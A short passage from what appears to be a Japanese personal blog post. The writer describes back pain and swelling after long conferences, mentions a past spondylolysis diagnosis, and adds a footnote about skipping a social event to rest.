話は変わりますが、ここ何年かカンファレンスなどにいくと、半日ぐらいで腰が痛くなったり、体がむくんだりすることがあります。以前整形外科で腰椎の出来が悪い(分離症)と診断されたことがあり、そのせいかもしれませんが、なんにしても体を鍛えないとまずいです。

*1:懇親会まで参加しようと思ってましたが、体調がいまいちだったので家に帰って寝てました。

Connection: close